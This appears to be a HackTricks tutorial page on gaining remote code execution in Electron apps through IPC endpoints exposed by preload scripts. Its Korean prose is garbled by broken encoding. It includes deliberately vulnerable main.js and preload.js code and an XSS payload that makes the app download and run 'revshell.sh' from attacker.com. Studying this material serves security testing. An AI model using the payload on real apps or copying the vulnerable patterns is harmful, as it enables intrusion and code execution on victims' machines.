Electron contextIsolation RCE via IPC
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
preload ์คํฌ๋ฆฝํธ๊ฐ main.js ํ์ผ์์ IPC ์๋ํฌ์ธํธ๋ฅผ ๋ ธ์ถํ๋ฉด, ๋ ๋๋ฌ ํ๋ก์ธ์ค๊ฐ ์ด๋ฅผ ์ ๊ทผํ ์ ์์ผ๋ฉฐ, ์ทจ์ฝํ ๊ฒฝ์ฐ RCE๊ฐ ๊ฐ๋ฅํ ์ ์์ต๋๋ค.
์ด ์์ ๋ค์ ๋๋ถ๋ถ ์ฌ๊ธฐ์์ ๊ฐ์ ธ์์ต๋๋ค https://www.youtube.com/watch?v=xILfQGkLXQo. ์ถ๊ฐ ์ ๋ณด๋ ๋น๋์ค๋ฅผ ํ์ธํ์ธ์.
Example 0
https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21์์ ๊ฐ์ ธ์จ ์์ (์ด ์ฌ๋ผ์ด๋์์ MS Teams๊ฐ XSS์์ RCE๋ก ์ด๋ป๊ฒ ์ ์ฉ๋์๋์ง์ ๋ํ ์ ์ฒด ์์ ๋ฅผ ํ์ธํ ์ ์์ผ๋ฉฐ, ์ด๋ ๋งค์ฐ ๊ธฐ๋ณธ์ ์ธ ์์ ์ ๋๋ค):
 (1) (1) (1) (1).png)
Example 1
main.js๊ฐ getUpdate๋ฅผ ์์ ๋๊ธฐํ๊ณ ์ ๋ฌ๋ ๋ชจ๋ URL์ ๋ค์ด๋ก๋ํ๊ณ ์คํํ๋ ๋ฐฉ๋ฒ์ ํ์ธํ์ธ์.
๋ํ preload.js๊ฐ main์์ ๋ชจ๋ IPC ์ด๋ฒคํธ๋ฅผ ๋
ธ์ถํ๋ ๋ฐฉ๋ฒ๋ ํ์ธํ์ธ์.
// Part of code of main.js
ipcMain.on("getUpdate", (event, url) => {
console.log("getUpdate: " + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
})
mainWindow.webContents.session.on(
"will-download",
(event, item, webContents) => {
console.log("downloads path=" + app.getPath("downloads"))
console.log("mainWindow.download_url=" + mainWindow.download_url)
url_parts = mainWindow.download_url.split("/")
filename = url_parts[url_parts.length - 1]
mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
console.log("downloadPath=" + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)
item.on("updated", (event, state) => {
if (state === "interrupted") {
console.log("Download is interrupted but can be resumed")
} else if (state === "progressing") {
if (item.isPaused()) console.log("Download is paused")
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})
item.once("done", (event, state) => {
if (state === "completed") {
console.log("Download successful, running update")
fs.chmodSync(mainWindow.downloadPath, 0755)
var child = require("child_process").execFile
child(mainWindow.downloadPath, function (err, data) {
if (err) {
console.error(err)
return
}
console.log(data.toString())
})
} else console.log(`Download failed: ${state}`)
})
}
)
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}
์ ์ฉ:
<script>
electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
</script>
Example 2
ํ๋ฆฌ๋ก๋ ์คํฌ๋ฆฝํธ๊ฐ ๋ ๋๋ฌ์ shell.openExternal์ ํธ์ถํ ์ ์๋ ๋ฐฉ๋ฒ์ ์ง์ ๋
ธ์ถํ๋ฉด RCE๋ฅผ ์ป์ ์ ์์ต๋๋ค.
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url)
}
Example 3
preload ์คํฌ๋ฆฝํธ๊ฐ ๋ฉ์ธ ํ๋ก์ธ์ค์ ์์ ํ ํต์ ํ ์ ์๋ ๋ฐฉ๋ฒ์ ๋ ธ์ถํ๋ฉด, XSS๋ ๋ชจ๋ ์ด๋ฒคํธ๋ฅผ ๋ณด๋ผ ์ ์์ต๋๋ค. ์ด ์ํฅ์ ๋ฉ์ธ ํ๋ก์ธ์ค๊ฐ IPC ์ธก๋ฉด์์ ๋ฌด์์ ๋ ธ์ถํ๋์ง์ ๋ฐ๋ผ ๋ฌ๋ผ์ง๋๋ค.
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb)
}
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


